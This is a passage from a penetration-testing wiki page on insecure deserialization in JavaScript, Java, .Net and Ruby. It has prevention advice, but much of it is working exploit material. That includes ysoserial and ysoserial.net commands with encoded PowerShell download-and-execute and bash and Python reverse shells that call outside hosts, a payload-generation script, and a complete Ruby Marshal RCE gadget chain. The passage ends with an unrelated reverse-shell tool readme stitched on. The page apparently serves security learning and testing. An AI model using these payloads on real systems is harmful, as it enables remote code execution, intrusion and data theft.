var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```
**For**[ **more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
## [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
The package **doesn’t include any deserialization functionalit**y and requires you to implement it yourself. Their example uses `eval` directly. This is the official deserialisation example:
```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
```
If this function is used to deserialize objects you can **easily exploit it**:
```javascript
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
## Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
# Java - HTTP
The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker** to **take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**.
## Fingerprints
### White Box
Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream` __ or `readObject` __ or `readUnshare` functions_._
You should also keep an eye on:
* `XMLdecoder` with external user defined parameters
* `XStream` with `fromXML` method (xstream version <= v1.46 is vulnerable to the serialization issue)
* `ObjectInputStream` with `readObject`
* Uses of `readObject`, `readObjectNodData`, `readResolve` or `readExternal`
* `ObjectInputStream.readUnshared`
* `Serializable`
### Black Box
**Fingerprints/Magic Bytes** of **java serialised** objects (from `ObjectInputStream`):
* `AC ED 00 05` in Hex
* `rO0` in Base64
* `Content-type` header of an HTTP response set to `application/x-java-serialized-object`
* `1F 8B 08 00` Hex previously compressed
* `H4sIA` Base64 previously compressed
* Web files with extension `.faces` and `faces.ViewState` parameter. If you find this in a wabapp, take a look to the [**post about Java JSF VewState Deserialization**](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
## Check if vulnerable
If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
### White Box Test
You can check if there is installed any application with known vulnerabilities.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\
When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**.
### Black Box Test
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.** \
GadgetProbe is focused on ** `ObjectInputStream` ** deserializations**.**
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) \
Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`**related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\
If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks.
## **Exploit**
### **ysoserial**
The most well-known tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
```
When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page:
```python
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
### serialkillerbypassgadgets
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\
In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
```markup
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
```
**Install maven**, and **compile** the project:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
### FastJSON
Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
## Labs
* If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
## Why
Java LOVES sending serialized objects all over the place. For example:
* In **HTTP requests** – Parameters, ViewState, Cookies, you name it.
* **RMI** – The extensively used Java RMI protocol is 100% based on serialization
* **RMI over HTTP** – Many Java thick client web apps use this – again 100% serialized objects
* **JMX** – Again, relies on serialized objects being shot over the wire
* **Custom Protocols** – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
## Prevention
### Transient objects
A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
### Avoid Serialization of a class that need to implements Serializable
Some of your application objects may be forced to implement `Serializable` due to their hierarchy. To guarantee that your application objects can't be deserialized, a `readObject()` method should be declared (with a `final` modifier) which always throws an exception:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
### Check deserialized class before deserializing it
The `java.io.ObjectInputStream` class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:
* You can change the code that does the deserialization
* You know what classes you expect to deserialize
The general idea is to override [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) in order to restrict which classes are allowed to be deserialized.
Because this call happens before a `readObject()` is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.
A simple example of this shown here, where the the `LookAheadObjectInputStream` class is guaranteed not to deserialize any other type besides the `Bicycle` class:
```java
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
```
**Harden All java.io.ObjectInputStream Usage with an Agent**
If you don't own the code or can't wait for a patch, using an agent to weave in hardening to `java.io.ObjectInputStream` is the best solution.\
Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized.
To enable these agents, simply add a new JVM parameter:
```
-javaagent:name-of-agent.jar
```
Example: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
## References
* Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
# JNDI Injection & log4Shell
Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %}
# JMS - Java Message Service
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
## Products
There are several products using this middleware to send messages:
.png>)
.png>)
## Exploitation
So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\
This means that in this exploitation all the **clients that are going to use that message will get infected**.
You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.
## References
* JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
# .Net
.Net is similar to Java regarding how deserialization exploits work: The **exploit** will **abuse gadgets** that **execute** some interesting **code when** an object is **deserialized**.
## Fingerprint
### WhiteBox
Search the source code for the following terms:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Look for any serializers where the type is set by a user controlled variable.
### BlackBox
You can search for the Base64 encoded string **AAEAAAD/////** or any other thing that **may be deserialized** in the back-end and that allows you to control the deserialized type**.** For example, a **JSON** or **XML** containing `TypeObject` or `$type`.
## ysoserial.net
In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example.
If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output` ** and **`--plugin`.**
* **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
* **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
* **`--output` ** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._
* **`--plugin` ** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState
### More ysoserial.net parameters
* `--minify` will provide a **smaller payload** (if possible)
* `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case)
* `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive)
**ysoserial examples** to create exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\
If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\
This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
```
This means that in order to test the exploit the code will call [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
```
In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\
Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create.
## ViewState
Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](exploiting-\_\_viewstate-parameter.md)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
## **Prevention**
Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the `DataContractSerializer` or `XmlSerializer` if at all possible.
Where `JSON.Net` is being used make sure the `TypeNameHandling` is only set to `None`.
```
TypeNameHandling = TypeNameHandling.None
```
If `JavaScriptSerializer` is to be used then do not use it with a `JavaScriptTypeResolver`.
If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.
```
System.IO.FileInfo
```
`FileInfo` objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.
Even if you have limited the types that can be deserialised remember that some types have properties that are risky. `System.ComponentModel.DataAnnotations.ValidationException`, for example has a property `Value` of type `Object`. if this type is the type allowed for deserialization then an attacker can set the `Value` property to any object type they choose.
Attackers should be prevented from steering the type that will be instantiated. If this is possible then even `DataContractSerializer` or `XmlSerializer` can be subverted e.g.
```
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
```
Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.
```
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
```
For `BinaryFormatter` and `JSON.Net` it is possible to create a safer form of white list control using a custom `SerializationBinder`.
Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. **A deserializer can only instantiate types that it knows about**.
Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example `System.Windows.Data.ObjectDataProvider` used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.
## **References**
* Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
# **Ruby**
Ruby has two methods to implement serialization inside the **marshal** library: first method is **dump** that converts object into bytes streams **(serialize)**. And the second method is **load** to convert bytes stream to object again (**deserialize**).\
Ruby uses HMAC to sign the serialized object and saves the key on one of the following files:
* config/environment.rb
* config/initializers/secret\_token.rb
* config/secrets.yml
* /proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)):
```ruby
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
<details>
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|
.:: 0xR ::.
.:: Reverse Shell Cheat Sheet Tool ::.
.:: cyber-warrior.org ::.
#Install Note
Clone the repository:
git clone https://github.com/0xR0/shellver.git
Then go inside:
cd shellver/
Then install it:
python setup.py -i
For reinstall
python setup.py -r
run shellver -h or "shellver msf {} shell {} spawn".format (or)✔
#Example
shellver shell
